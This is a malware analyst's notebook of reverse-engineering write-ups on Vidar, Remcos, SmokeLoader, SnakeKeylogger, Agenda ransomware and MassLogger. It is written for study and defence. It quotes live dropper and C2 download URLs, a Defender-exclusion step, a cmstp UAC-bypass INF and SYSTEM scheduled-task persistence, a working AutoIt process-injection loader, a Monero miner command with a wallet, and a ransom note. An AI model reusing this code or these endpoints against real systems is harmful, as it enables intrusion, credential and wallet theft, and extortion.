Keyboard shortcuts

Press or to navigate between chapters

Press S or / to search in the book

Press ? to show this help

Press Esc to hide this help

All Analysis

VIDAR Malware

Dropper SHA256: b30e7cf92bdb26c05c226e0d5c82ce839a90cbef61a7a5305bd3fae87905090f

VirusTotal

Logger/Stealer SHA256: 9e126eb3b73eeae34c46a4b3dc9dc184a19708fd2b2433302c69e6c06b3929ed

VirusTotal

REMCOS RAT Malware

sha256: 52db756a72b71d461eb46a8f40e04c6e594c1f3c5da27901c2a47f890dd279f8

VirusTotal

SMOKELOADER Malware

sha256: ff5fc5c5318fa051992c7c3408d203f306c13b5fcd9400f860f734ce47a3b676

VirusTotal

SNAKEKEYLOGGER Malware

sha256: fa462108bc863ef19bb7572e7c77ab4f4b5694ae292e06d007418863e4b45d7e

VirusTotal

AGENDARANSOMWARE Malware

sha256: e90bdaaf5f9ca900133b699f18e4062562148169b29cb4eb37a0577388c22527

VirusTotal

MASSLOGGER Malware

sha256: 7e3317f91f7d8e570800045ca8ba7e2ff136e0ea3621ed1deca8b7763b45f624

VirusTotal

XWORM Malware

sha256: f702386d9edceea53e49ba27e508baf34eeaa0ad5a87fb70913f95330dbc92a3

VirusTotal

DARKCLOUD Malware

sha256: 0f33de6cb6b6b634897593064b4922da5df3eb588589eb09c5fb2544bfb824ac

VirusTotal

DONUTLOADER Malware

sha256: 3a6e6e8548ab3b9b8224dfcfb3b7838949ee5ad7b029c16e235d9c81ad653a6b

VirusTotal

MIRAI Malware

sha256: 0dad0cc96ea8239f5e5c15a7b1e01db862c1bb93bf01d551324309ea1b628e9b

VirusTotal

APOLLOSHADOW Malware

sha256: 13fafb1ae2d5de024e68f2e2fc820bc79ef0690c40dbfd70246bcc394c52ea20

VirusTotal

AMATERASTEALER Malware

sha256: 73fd51d4a0959e5c5a82db9be0d765069d02a2b97f51f55f5d6422a7bec01caa

VirusTotal

STEALC Malware

sha256: bca8165af010669746ef22d0a07c6f5d3557a55d92749c4e81881ffc928f23e5

VirusTotal

PHANTOMSTEALER Malware

sha256: 57a71e4d5ce81f7931e9f9814b2ba93127f3238d76afcb7ece25d27dbd3d5d12

VirusTotal

OctoRAT

sha256: 360e6f2288b6c8364159e80330b9af83f2d561929d206bc1e1e5f1585432b28f

VirusTotal

Albiriox

sha256: a1ed3680956862e0b42a8237a5a57669fb127cc76937a6494ed684404d98a92b

VirusTotal

Analyzed just for practice and fun

SHA256: fa132c7ca003a5fd97d96c3b656212802cf70f1735283b05144bdcae03e24894

VirusTotal

SHA256: 48126e558daec7e93f455c1268e37cab6e4754e245568fc6d8beb54277addef7

VirusTotal

Vidar

Dropper

This is a dropper ps1 script for Vidar malware.

Variables are encoded after starting script, my guess is this way used for evading AVs. Looking at the decoded variables, script’s functionality can be guessed.

This part will create `%LOCALAPPDATA%` if it doesn't exist. Out-Null is used to not output anything to pipelines. This is the location the file will be saved. First command will download malware from `https://vx-events.com/build.exe`, in case of error, process will stop. Second command will hide the folder. (C:\Users\\\\AppData\Local) Third command will hide the file. (C:\Users\\\\AppData\Local\updater.exe)

Now, Add-Exclusion is a function, that is used for defence evasion:

Add-MpPreference is used for modifying Windows Defender settings. This command will try to add new Exclusion Path to defender, which is: `C:\Users\\AppData\Local\updater.exe`

Start-Process, will start the C:\Users\<user>\AppData\Local\updater.exe with Window Style hidden, Run as Administrator option, and -Wait is used to suppresses the command prompt until the processes finish.

finally part is used to remove clean everything, leave a fake message to Host and finish script.

Continue: 9e126eb3b73eeae34c46a4b3dc9dc184a19708fd2b2433302c69e6c06b3929ed

Logger/Stealer

To start Analysis, I put updater.exe in %LOCALAPPDATA%. Uncheck “DLL can move” in DllCharacteristics. Load malware inside x32dbg

Checking the strings of malware, C2 server’s http address can be seen: And as it can be seen from strings, malware utilizes third string as user_agent.

Now the important part for us is, CreateProcessW which creates another process of itself from same directory. My guess is, it is used for avoiding detection, later current process will write memory of child process:

in our case, 0x43C is handle to child process and 0x3FC0E60 is address of the data that will be written into 0x400000 and size is 0x400, this WriteProcessMemory will happen a lot of times in a row, especially in 7 times a row:

I dont want to list all WriteMemoryProcess as later we can just check 0x400000 in child process if needed. The last WriteProcessMemory address is 0xE4F008 (changes everytime).

as we move along, ResumeThread function is called in parent process, which will start the logger (child process). I attach debugger to child process and continue process in parent process.

After checking strings of child process, it can be seen, it needs 149 functions from these dlls: kernel32, ntdll, advapi32, user32, gdi32, shell32, ole32, ws2_32, shlwapi, wininet, bcrypt, dbghelp, msvcrt

Now the important part starts for us at 0x417210, analyzing this process step by step is a little difficult because of so many unnecessary/necessary jumps, there is just a lot, so it doesn’t help. Even just putting breakpoints over the functions that process will call, can be easier.

Later in process, a new directory will be created under C:\ProgramData\ with random name. (in my case y5ppz)

InternetCrackUrlA will be called to crack https://t.me/l793oy into components

InternetConnectA used to connect t.me using handle returned by InternetOpenA

HttpOpenRequestA sends request using handle to t.me:

After t.me, process will do same things for https://e.mx.goldenloafuae.com which I suspect is C2. some sandboxes, analyzers didn’t specify this url and at the moment this server is down.

As https://e.mx.goldenloafuae.com is still up, it was obvious that malware was sending, getting encrypted data. Such paths that were queried by malware were:

“C:\Users\eyes\AppData\Local\Google\Chrome\User Data\.” “C:\Users\eyes\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn\.

Later the files that were found would be copied into the folder that was created by malware:

CopyFileA (function used) 1: “C:\Users\eyes\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn\000004.log” 2: “C:\ProgramData\y5ppz\jmgvk6ppph4e”

After sending files to attackers, malware deletes files.

I will also attach 1 example file that was copied (which is hard to make sense).

Also don’t forget, in my case only Chrome was installed, so it only stole its logs. The malware looks for:

  1. Microsoft Edge

    • Path: \Microsoft\Edge Beta\User Data
  2. Google Chrome

    • Path: \Google\Chrome SxS\User Data
  3. Microsoft Edge SxS

    • Path: \Microsoft\Edge SxS\User Data
  4. Epic Privacy Browser

    • Path: \Epic Privacy Browser\User Data
  5. CocCoc Browser

    • Path: \CocCoc\Browser\User Data

and the reason it checks extensions is:

  1. TON Wallet

  2. MyTonWallet

  3. Alephium Wallet

  4. Solflare

  5. Trust Wallet

  6. Hashpack

  7. Leap Terra

  8. Authenticator

  9. Bitwarden

  10. Oxygen (Atomic)

  11. Ecto Wallet

  12. Morphis Wallet

  13. GeroWallet

  14. UniSat Wallet

  15. Pontem Wallet

  16. Xverse Wallet

  17. Venom Wallet

  18. PaliWallet

  19. Fluvi Wallet

  20. Backpack Wallet

  21. OKX Web3 Wallet

  22. HAVAH Wallet

  23. OpenMask Wallet

  24. Rainbow Wallet

  25. SafePal Wallet

  26. KardiaChain

  27. RoninWalletEdge

  28. NamiWallet

  29. KeePass Tusk

  30. Frontier Wallet

  31. Bitget Wallet

  32. CyanoWallet

  33. Ronin Wallet

  34. MetaMask

  35. Talisman Wallet

as it was clear how malware was functioning, I stopped analyzing. There were other notable functionalities of malware such as mapping hostnames of AVs to 127.0.0.1 so user will not be able to use any AV (Download or online check)

My suspicion is “https://t.me/l793oy” and “https://steamcommunity.com/profiles/76561199829660832” are used for C2 server

Remcos

Rat

At the time of writing it is around a day that malicious script appeared in wild. To practice and improve myself I chose this malware.

For now in virustotal, it can be seen that malware is only detected by 9 AVs and the server for downloading second payload (png file) is still available to be downloaded.

Starting with analysis, The file’s size is really big but only reason for it was repeat of same 10 lines. 1|500

Using ASCII table we can replace all occurrences of these variables with their Char values.

At first it looked like it is only repeating same 10 line for increasing file size (to look legit), but one more reason was probably trying to hide obfuscated code. (Maybe not but only good explanation is this) 1|1000

At first it might not make sense but you can obviously see same pattern repeat in obfuscated code: "⏳लბ⣿༑₫ᨑԿ🖲ᅫҌ⊣ሒȪ⟚"

and payload use categorised(ByVal inputText) function to deobfuscate it. (By removing repeating line) 1|800

In this situation manually writing deobfuscater would be possible to but, it is waste of time. I just changed dozens = categorised(dozens) with WScript.Echo categorised(dozens) (Don’t forget to only copy necessary parts in new file to avoid running something dangerous). I ran the code using cscript.exe to see output in my cmd.

1|800

Now to deobfuscate, we need to replace ‘#’ with ‘A’ and convert base64 to string. Once again instead of using cyberchef I just run powershell code with removing Invoke-Expression and beautify it a little bit. This is the code that downloads second file. (png)

1|800 A day later, the malicious file was deleted from server but I installed it before, so I can continue my analysis. I will also upload file to malware bazaar for anyone that needs it to analyse on his own.

This image file has Data starting with ‘<<BASE64_START>>’ and ends with ‘<<BASE64_END>>’ after decoded it is uploaded to memory but I modified code and used function:

[System.IO.File]::WriteAllBytes("C:\dnlib_image.dll", $cleared)

to save it in a file and when we load this dll to dnspy-x86, it loads it as Microsoft.Win32.TaskScheduler, Version=1.1.0.0 and dnlib inside, which is necessary part of us: 1|800

You can check out Robson Felix’s VMDetectorto understand how it works. I modified qemu strings in my system so I have 0 “qemu” string, which helps me avoid detection. this script is really basic as it checks for only “qemu” (easy to stay undetected). Note: Even though this malware has function to check detect vms, it doesn’t use it. (if you remember the arguments given when VAI is called, they are necessary part of this function)

In next line we can see the malicious code calling specific function that is interesting for us, VAI.

1|1000

some of the variable names are written in Spanish, which might be a tip for malware writer being Spanish. (Of course, it is not a guarantee)

I have written custom code in C# to be able to manually debug this dll.

The functions, VAI didn’t use: persistence, startuptask, startupreg (even though it could). (To make it clear these are not function names, these are variables)

Moving on, startup_onstart is actually used, let’s understand what it does. Before understanding the function, I retrivied Hashtable values that are used through dll and saved all of them to single file to make analysis easier.

This is the part we have to analyze now:

if (flag12)
{
	bool flag13 = !File.Exists(Path.Combine(caminho, nomedoarquivo + \uE11C.\uE000(12567) + extençao));
	bool flag14 = flag13;
	if (flag14)
	{
		Process.Start(new ProcessStartInfo
		{
			WindowStyle = ProcessWindowStyle.Hidden,
			FileName = \uE11C.\uE000(12607), // "cmd.exe"
			Arguments = string.Concat(new string[]
			{
				// "/C copy *."
				\uE11C.\uE000(12599),
				// "vbs"
				extençao,
				// " \""
				\uE11C.\uE000(12770),
				//  1. @"C:\ProgramData" 2. "millipascals"
				Path.Combine(caminho, nomedoarquivo), 
				// "."
				\uE11C.\uE000(12567),
				// "vbs"
				extençao,
				// "\""
				\uE11C.\uE000(12282)
			})
		}).WaitForExit();
	}
	Loader.ExecutarMetodoVAI(taskname, caminho, nomedoarquivo, extençao);
}

Basically checks if file exists, if not, starts new process: `cmd.exe /C copy *.vbs “C:\ProgramData\millipascals.vbs” copies the vbs file to its new location.

ExecutarMetodoVAI is called with arguments: "blinkered" @"C:\ProgramData" "millipascals" "vbs"

at first line, function searches for specific string in resources: string text = Array.Find<string>(Assembly.GetExecutingAssembly().GetManifestResourceNames(), new Predicate<string>(Loader.<>c.<>9.\uE000));

When using dnspy, it hides compiler generated types and modules by default which you need to enable.

The (Loader.<>c.<>9.\uE000) sets condition true if “string” ends with “UAC.dll” and in next lines, first stream is loaded into an array and array was loaded to caller program (powershell):

byte[] array;
using (Stream manifestResourceStream = Assembly.GetExecutingAssembly().GetManifestResourceStream(text))
{
	using (MemoryStream memoryStream = new MemoryStream())
	{
		manifestResourceStream.CopyTo(memoryStream);
		array = memoryStream.ToArray();
	}
}
Assembly assembly = Assembly.Load(array);

and calls “Main” method in UAC.dll (type:UAC.Program).

1|800

Which I will use new custom script to run it and debug manually.

First thing “UAC.dll” does is create a new string: @"cmd.exe /c powershell -Command ""schtasks /Create /TN 'blinkered' /TR 'wscript.exe C:\ProgramData\millipascals.vbs' /SC ONSTART /RL HIGHEST /RU SYSTEM /F""" with given parameters.

  • Generates new inf file under temporary path.
  • Changes “REPLACE_COMMAND_FILE” in private static string INF_TEMPLATE = "[version]\r\nSignature=$chicago$\r\nAdvancedINF=2.5\r\n\r\n[DefaultInstall]\r\nCustomDestination=CustInstDestSectionAllUsers\r\nRunPreSetupCommands=RunPreSetupCommandsSection\r\n\r\n[RunPreSetupCommandsSection]\r\nREPLACE_COMMAND_LINE\r\ntaskkill /IM cmstp.exe /F\r\n\r\n[CustInstDestSectionAllUsers]\r\n49000,49001=AllUSer_LDIDSection, 7\r\n\r\n[AllUSer_LDIDSection]\r\n\"HKLM\", \"SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\App Paths\\\\CMMGR32.EXE\", \"ProfileInstallPath\", \"%UnexpectedError%\", \"\"\r\n\r\n[Strings]\r\nServiceName=\"CorpVPN\"\r\nShortSvcName=\"CorpVPN\""; with the command created before.
  • writes this to inf file.

Part 2:

  • Checks if file: “C:\Windows\system32\cmstp.exe” exists.
  • if it does, Start new process: C:\Windows\system32\cmstp.exe /au "<inf_file_path>"
  • Basically creates new process to run at every startup for persistence purposes.
  • Why use cmstp.exe? To avoid some detections.

That’s all with UAC.dll, now we have to go back to dnlib.IO.Home.VAI.

To sum up, in next steps malicious dll function launches MsBuild.exe and modifies its code and resumes thread.

  • new process: MsBuild.exe created.
  • Allocate new space
  • Write the malicious program at address: 0x400000

What I did was copy every data that is written and combine them to get a single exe file (Microsoft Visual C++ 8)

copy /b to400000.bin+to401000.bin+to459000.bin+to472000.bin+to478000.bin+to47D000.bin combined.exe

So, the reason malware loads the exe file into MsBuild.exe is actually utilizing its capabilities (and hiding). So it might be possible to debug program alone but it is hard, so I will just debug it inside MsBuild.exe. I also found a key point in code like this: unaff_ESI = FUN_0040e560(0x400000,0,pcVar7); which I guess probably where we need to start from, because inside this function, it is also prossible to clearly see some interesting strings. The strings clearly indicate the capabilities of malware: RAT, keylogger, stealer, logger.

By the way, Remcos RAT is available here to explore its capabilities.

After analyzing the exe file, the key points that can be addressed is:

  1. Malware use GetProcAddress function to find address of the functions it is going to use (which can make static analysis a little bit difficult), but you can basically change heap variable name’s function name (for example in ghidra)
  2. Malware keep trying to connect with “relentlesswicked.duckdns.org”/“relentless.webredirect.org”, which it can’t, because it is down.
  3. The rest is specifically about remcos itself which if needed can be analyzed on its own, and it is not that hard as it is not packed or obfuscated.

SmokeLoader

Loader

I started analyzing the malware for a day, mostly using dynamic analyse tools. Normally the file that is downloaded is around 100kb but after unpacking itself, it is around 30kb. We need to put hardware breakpoint at 0x401ae0 to be able to dynamically debug program. (Note: I also put software breakpoint but after breakpoint hit, I removed it for further analysing). Also I dumped process to ghidra, so I can do static analysis too. If you check memory in x32dbg or SystemInformer, everything can be Read/Written/Executed. That’s why it can rewrite itself.

NOTE: The reason, we must not use software breakpoint is, it modifies malware’s code by adding CC at start of the assembly code, unpacking the code will cause issues.

1|100

Later analyzing the code, I realized some parts of the executable is still encoded, I let malware execute itself till 0x401BCD so it can decode these parts, then dumped. Which later, I realized it didn’t really decode and check ghidra again for any tips. There it is, code is actually decoding -> executing -> encoding itself. (Polymorphic) Which is why I couldn’t do static analyzes:

1|500

What I will actually do is, again execute code but now, I will stop at when the part is executed so I can copy and paste it into my dumped exe file. For example, 0x40410a etc.

Alright so, I changed bytes of the parts we need for further analyzing. the first function at 0x40410a is putting functions’ address from dlls to uninitialized DATAs:

1|500 (it is longer)

It will not be really hard to rename DATAs in ghidra to function names for static analysis. Which is what I am going to do next.

After Renaming variables, it is a lot more easier to do static analysing but there are still some functions that use decoder() function in itself. That means I have to also rewrite their bytes.

Okay so as I progress, I try as much as I can to do static analysis and understand each function, I did few discoveries and 1 of the important ones is: 1|500

As I renamed, it checks for file name and returns accordingly, in our case as I run it first time with random name, it will return 0x10 but there are other possibilities too, which I might check if needed. That’s the exact way malware searches for file names:

1|500

Which is not that hard to understand.

Sadly, while analysing this malware, I had to take break for a while (final exams in university) so I couldn’t focus on the malware. But I can say, I did important parts like decoding some parts, to explain what the dropper part does is, (not really dropper because malware itself is actually as a whole doing everything) just delete WinSrv32 file and terminate any process with this name, write itself (or a part of itself), I couldn’t analyse these parts as I dont have a lot of time. then start executing itself from there. I will provide smokeloader ghidra zip, because I believe it is not something to drop in trash, maybe 1 day I might come back and look into this and finish the job. I dont really know. (ghidra zip is in same folder as this file). (also provided dd32 file to know where the breakpoint has to be).

SnakeKeylogger

Logger

So normally, it is easier to analyze .NET variants of this malware as there are nearly no obfuscation, (maybe some simple encryption and variable names) so I decided to get C++ compiled binary around 1mb and analyze it, but I checked binary graph, anti-debug techniques and I think only protection they put is, checking if “IsDebuggerPresent”, like there is nothing else, everything is so clear so I will just list key points of malware.

First time I opened malware in ghidra, the thing that was so interesting to me was, there a lot of imports of APIs and none of them were hidden or anything. Just wanted to check 1 of the APIs, found reference to it and traced back to see where the call was from and I hit the jackpot.

The Function at 0x414800 :

1|500

As you can see there is “if” statement, why? at first it actually initialize, the struct of the functions, luckily all of them have clear names so it is easy to understand what they do. Alright so, after initializing, other functions can search for function names one by one and find the function they need. Also, malware gives an hint on what these are, if you try to search for references of “IsDebuggerPresent”, you will find:

1|500

Funny right? Malware literally tells us everything we need. This is AutoIT script, If you wonder what it is, it is used for automation processes using keyboard, mouse movement etc. Note: You can also patch IsDebuggerPresent and debugger without any issue, or just use scyllahide.

Note 2: I also forgot to mention that in “strings” of the malware you can easily see BACKSPACE, ESC, Mouse related strings, numpad etc. the strings that are related to date/time etc.

What we found out so far is, malware is keylogger and botnet, maybe there are more that I missed but I believe I got everything right.

Now, to understand in which order the malware calls functions, I found a technique that you can also write r2 or x32dbg script to automate:

First we put breapoint at, 0x414800, after breakpoint is hit, you gonna see the value in stack is “0x0”, so it is only for initialization stage, continue one more time and check call stack, call is from 0x41C64A.

1|500

So, it is obvious, this function searches for specific function name, if you put breakpoint at _wcscmp 0x41C654, you can see every function it tries to search for and maybe you can even trace into the functions for more detail.

I believe this is enough for SnakeKeylogger analysis.

AgendaRansomware

Ransomware

Note: I usually analyze malware and write randomly to remember my progress, most of my reports are not detailed and clean, it is just like a diary.

Day 1:

I wanted to analyze my first ransomware to learn something new and chose AgendaRansomware (I don’t really know why). Anyways this is a 1.6mb rustc compiled binary. At first sight, it feels like there is no obfuscation and easy to analyze, but later on I found out, there is something disrupting static analysis. So far I found 2 things:

1|500

1|500

Ghidra can’t disassemble because of these 2 additions made on malware, but luckly it is easy to fix, I will just write script to replace all of them with “NOP” and issue will (probably) going to be solved.

Other than that, I found out we have to provide “–password <pass>” to binary, else it will not be executed. That password is actually used later as login credential to a domain in tor network and requesting chiper/tool to decrypt files (by paying for it). Other than that, Malware also gives us logs:

[WARNING] Cannot open service: [BrokerInfrastructure]: 5                                                                Service [CryptSvc] stopped                                                                                              Service [CryptSvc] disabled                                                                                             Service [DoSvc] stopped                                                                                                 [WARNING] Cannot disable [DoSvc]: 5                                                                                     [WARNING] Cannot stop [netprofm]: 1061                                                                                  Service [netprofm] disabled                                                                                             [WARNING] Cannot stop [netprofm]: 1061                                                                                  Service [netprofm] disabled                                                                                             [WARNING] Cannot stop [NlaSvc]: 1051                                                                                    Service [NlaSvc] disabled                                                                                               [WARNING] Cannot stop [EventLog]: 1051                                                                                  Service [EventLog] disabled                                                                                             [WARNING] Cannot open service: [gpsvc]: 5                                                                               [WARNING] Cannot open service: [MDCoreSvc]: 5                                                                           [WARNING] Cannot open service: [mpssvc]: 5                                                                              [WARNING] Cannot stop [netprofm]: 1061                                                                                  Service [netprofm] disabled                                                                                             [WARNING] Cannot stop [NlaSvc]: 1051                                                                                    Service [NlaSvc] disabled 

And more, like which file it encrypted etc.

README-RECOVER-<extension>.txt contains this:

-- Qilin

Your network/system was encrypted.
Encrypted files have new extension.

-- Compromising and sensitive data

We have downloaded compromising and sensitive data from you system/network
If you refuse to communicate with us and we do not come to an agreementyour data will be published.
Data includes:
    - Employees personal dataCVsDLSSN.
    - Complete network map including credentials for local and remote services.
    - Financial information including clients databillsbudgetsannual reportsbank statements.
    - Complete datagrams/schemas/drawings for manufacturing in solidworks format
    - And more...

-- Warning

1) If you modify files - our decrypt software won't able to recover data
2) If you use third party software - you can damage/modify files (see item 1)
3) You need cipher key / our decrypt software to restore you files.
4) The police or authorities will not be able to help you get the cipher key. We encourage you to consider your decisions.

-- Recovery

1) Download tor browser: https://www.torproject.org/download/
2) Go to domain
3) Enter credentials


-- Credentials

Extension: MmXReVIxLV
Domain: ueegj65kwr3v3sjhli73gjtmfnh2uqlte3vyg2kkyqq7cja2yx2ptaad.onion
login: 6f031ccd-526a-4806-82a8-2e7d926243d4 
password: test

After walking inside the binary a little bit, i found out that, “CreateThread” functions play big role in the malware, in some parts of the malware, payloads are, let’s say “hidden” and malware use “CreateThread” to start execution from these address. in ghidra they are not disassembled, instead shown as “DATA”. My main purpose in this malware is finding out how the files are encrypted. Additionally, malware also disables some services, choosing which files to encrpyt (by comparing with the extensions), which I might look into deeply.

What I found out from dynamic analysis is, malware uses EnterCriticalSection API to check file extensions and encrypt if it doesn’t get in conflict.

Day 2:

Alright so today I got a little bit near to success, as I found out where malware decrypts strings. And luckly it doesn’t encrypt back so i can dump them all. it is going to help a lot for success.

1|800

1|800

Note: I will dump as many as strings possible (all of them) and save it in a file and save in github repo.

Additionally, I found out malware uses GetProcAddress to get NtWriteFile address and call it in a stealthy way. How it works is exactly like this:

1|800

Changes function itself with “NtWriteFile” address, so next time it calls this function, it actually calls itself. Same thing was done for other functions too, like: NtReadFile, NtCreateKeyedEvent…

Process of encryption:

NtCreateFile: get file handle NtQueryInformationVolume, NtQueryInformationFile: Check the extension of file (eg. .exe) compare with blacklisted extensions and choose to encrypt or not. The flags that can be configured before running ransomware are: skip, step, n, p, fast, accounts. In my version of agenda ransomware there is no guide on how to use them and some flags that are available in newer versions are not available to me. Example usage is this: “ ./ransomware.exe –password test “skip: 10; fast” “

NtCloseFile

NtReadFile: Read contents, encypt them.

NtWriteFile: Write encrypted content.

Now, where is content encypted? in my version of agenda ransomware, function is located at 0x42edf0 which, using registers as arguments instead of stack. The decompiled function has length of around 875 lines, which is waste of time to analyze one by one. But it is the function. Additonally, analyzing this function will reveal the key itself.

1|800

MassLogger

Logger

MassLogger, an information-stealing malware designed to capture credentials, keystrokes, and clipboard data from victims, has been gaining prevalence in the threat landscape, with campaigns of various sizes and victimology observed worldwide. (Yes I copied this from broadcom lol)

Anyways, as usual I was on MalwareBazaar, wishing to find a fresh malware and the one that caught my eye was the MassLogger tagged bat file.

1|1000

There are more example MassLogger executables uploaded by lowmal3, but I chose this one to analyze, because others were almost same thing and some of them were .Net executables, which is old technique used by MassLogger.

This is the malware flow I made while analyzing the malware:

1|700

NOTE: To make it clear, all these executables are injected into different legit applications and executed as new thread. i don’t want to repeat it every time. At the top you can see a binary file named “sqNnY.bin”, it will be our main target in this analysis but before that I want to tell what the other exe files does first. Starting from decrypted “aLlTeucWnrhechxHC.bin”, first checks for debugger and simple VM detection (it is too easy to detect and bypass). Next “installer” is downloaded and executed, it drops new files and executes the au3 file. Last au3 file was most obfuscated one but it is not really difficult to deobfuscate it:

#cs
$vkkiihtobf = \nwekwowlwhwcogczoft
$nticu = C:\Windows\System32\charmap.exe
$cwipirw = kernel32.dll
$gsnfwdmcztclwcovhkqgi = OpenProcess
$gdixmilpmsosbp = VirtualAllocEx
$jecokuozjfa = WriteProcessMemory
$nhybphxljwzq = CreateRemoteThread
$rjhkweazp = CloseHandle
$fosxprdysmayinrykddwmelktkhpm = handle
$zixjs = dword
$xkitfxhddsbtsyuxw = bool
$lbcideknmrnsazvfazvjqox = ptr
$gbjoxnfcmfxrj = ulong_ptr
$gejrlpqkrcxnxubmbxdu = struct*
$buwqyl = dword*
$gvbdvltraydirvkh = byte[
$kplaadznpnfjmbmdfevat = ]
$mbklctvdfrnfgjakgsbqgx = 0x1F0FFF
$hnxremrogwsdjpoags = 0x3000
$invhvdcuydydlonc = 0x40
#ce

Global $pjbhqshpkkrdxsjiyzikstcp = FileOpen(@ScriptDir & $vkkiihtobf, 16)
Global $ewwhytiyydkuc = FileRead($pjbhqshpkkrdxsjiyzikstcp)
FileClose($pjbhqshpkkrdxsjiyzikstcp)

Global $mkzfc = BinaryLen($ewwhytiyydkuc)
If $mkzfc = 0 Then Exit

Global $mleqiqnnnbwglgehhkicmgaklppajh = DllStructCreate($gvbdvltraydirvkh & $mkzfc & $kplaadznpnfjmbmdfevat)
DllStructSetData($mleqiqnnnbwglgehhkicmgaklppajh, 1, $ewwhytiyydkuc)
For $rpmvy = 1 To $mkzfc
    DllStructSetData($mleqiqnnnbwglgehhkicmgaklppajh, 1, BitXOR(DllStructGetData($mleqiqnnnbwglgehhkicmgaklppajh, 1, $rpmvy), 185), $rpmvy)
Next

Global $yapoagjwmurj = Run($nticu, "", @SW_HIDE)
Global $lshbtrvzmznfktftandgtxfwse = DllCall($cwipirw, $fosxprdysmayinrykddwmelktkhpm, $gsnfwdmcztclwcovhkqgi, $zixjs, $mbklctvdfrnfgjakgsbqgx, $xkitfxhddsbtsyuxw, False, $zixjs, $yapoagjwmurj)[0]
Global $ynvhvx = DllCall($cwipirw, $lbcideknmrnsazvfazvjqox, $gdixmilpmsosbp, $fosxprdysmayinrykddwmelktkhpm, $lshbtrvzmznfktftandgtxfwse, $lbcideknmrnsazvfazvjqox, 0, $gbjoxnfcmfxrj, $mkzfc, $zixjs, $hnxremrogwsdjpoags, $zixjs, $invhvdcuydydlonc)[0]

DllCall($cwipirw, $xkitfxhddsbtsyuxw, $jecokuozjfa, $fosxprdysmayinrykddwmelktkhpm, $lshbtrvzmznfktftandgtxfwse, $lbcideknmrnsazvfazvjqox, $ynvhvx, $gejrlpqkrcxnxubmbxdu, $mleqiqnnnbwglgehhkicmgaklppajh, $gbjoxnfcmfxrj, $mkzfc, $lbcideknmrnsazvfazvjqox, 0)
Global $zsingslima = DllCall($cwipirw, $fosxprdysmayinrykddwmelktkhpm, $nhybphxljwzq, $fosxprdysmayinrykddwmelktkhpm, $lshbtrvzmznfktftandgtxfwse, $lbcideknmrnsazvfazvjqox, 0, $gbjoxnfcmfxrj, 0, $lbcideknmrnsazvfazvjqox, $ynvhvx, $lbcideknmrnsazvfazvjqox, 0, $zixjs, 0, $buwqyl, 0)[0]

If $zsingslima Then DllCall($cwipirw, $xkitfxhddsbtsyuxw, $rjhkweazp, $fosxprdysmayinrykddwmelktkhpm, $zsingslima)
DllCall($cwipirw, $xkitfxhddsbtsyuxw, $rjhkweazp, $fosxprdysmayinrykddwmelktkhpm, $lshbtrvzmznfktftandgtxfwse)

Comment section is added by me and removed other decryption parts to make it clear. this au3 will execute our last exe file named “nwekwowlwhwcogczoft”.

“nwekwowlwhwcogczoft” is simple C2 that can do 3 things “exit”, “update”, “stealer”.

Simple and clear flow:

  1. Checks if “Software\rub” registry is written, if it is not created, tries to download “http://176.98.187.46:1778/stealer”
  2. Checks if the size of “stealer” more than 1000000, if yes, executing it. else pass.
  3. if “Software\rub” was not created, creates it.
  4. Checks if a file named “paygab” exists in %LOCALAPPDATA%, if so, xor it with “0x60” and execute it.
  5. if paygab doesn’t exist, downloads “http://176.98.187.46:1778/miner” and executes it.
  6. miner will check if “sigverif.exe” is running, if so terminates it.
  7. Opens new “sigverif.exe” process, allocates space, writes the open source project named xmrig to be able to mine.
  8. Executes command:
C:\\Windows\\System32\\sigverif.exe --algo=rx/0 --url=gulf.moneroocean.stream:10001 --user=47GrvVWRXX9CbpQ7WKAqR1fP1fEYJpurvj8pAkF8FcgcUJTFi5KpTAmWxv4modTHTMNXZXSxa8K8SijdVHDiAUs69xgSt MY --pass=x --threads=2"

NOTE: This is new malware sample, as I was first person to submit this sample to virustotal and malware bazaar

  1. Going back to “nwekwowlwhwcogczoft”, after trying these things, it checks status of our machine by using InternetOpenUrl API “http://176.98.187.46:1778/heartbeat?userID=xxxx-xxxxx-xxxxx-xxxx” (userID is your machine GUID that got fetched by this executable before from registry) and using InternetReadFile API to check if there is any new command given by C2, as I said there are 3 commands “stealer”/“custom” (same thing), “exit”, “update”.
  2. why “stealer/custom” can be given? because the one we downloaded before was actually decoy and size was lower than required. (why do this? to hide their project).
  3. other 2 “exit” and “update” are obvious, what they are.

There is a few possible case in our situation:

  1. the fake stealer is to take time of reverse engineers/malware analysts.
  2. it only gives real stealer to trusted (real victim machines by looking at their behaviour), for example I acted different than usual machines while analysing, requesting file a lot of times without checking heartbeat etc. or the attacker itself chooses which machines to send the real stealer. (most realistic case)

This was end of the “nwekwowlwhwcogczoft” executable.

The real deal was actually, “sqNnY.bin”. Fun part is, I actually thought this is trash code to take our time but it is actually, the main part of the malware. After “xor”-ing it with the key even after you check the file type, it says “not a PE file”. Also there is no “MZ” at the first 2 bytes of file. After a little, let’ say “OSINT”, I found out the “pe to shellcode” project was used for doing this: pe_to_shellcode. A free but powerful project.

“The goal of this project is to provide a possibility to generate PE files that can be injected with minimal effort. It is inspired by Stephen Fewer’s ReflectiveDLLInjection - but the difference is that with pe2shc you can add the reflective loading stub post-compilation. Also, the header of the PE file is modified in such a way, that you can start executing the injected buffer from the very beginning - just like you would do with a shellcode. It will automatically find the stub, and continue loading the full PE.”

The point is, it really makes 0 sense when you look at the file, it is just a bunch of bytes. There is literally not a single string, not even “This program cannot be run in DOS mode” (because it is shellcode not PE). But the thing is, it is possible to manually extract malware. It was not that hard as I could find some APIs used by shellcode, like VirtualAlloc, memset, etc.

I could extract malware and check in virustotal, if the malware is submited before and I was the first person to submit it too. malware bazaar and virustotal

1|1000

It is .NET 32-bit executable with 0 encryption. and the funny part is malware developers choose this as their signature:

1|700

As it is not encrypted or anything I will just basically list what is can does and end it here:

  1. Checks if user (victim) is expired by comparing time to “2025-02-15” (if yes exit)

  2. runs through 3 empty functions, probably not implemented by malware dev for now:             UltraSpeed.Taskmgr_Disabler();             UltraSpeed.CMD_Disabler();             UltraSpeed.Registeries_Disabler();

  3. Tries to steal data from these browsers:

Chrome_Speed
Torch_Speed
CocCoc_Speed
QQ_Speed
xVast_Speed
QIPSurf_Speed
Microsoft_Speed
Chromium_Speed
Blisk_Speed
Brave_Speed
Nichrome_Speed
Kometa_Speed
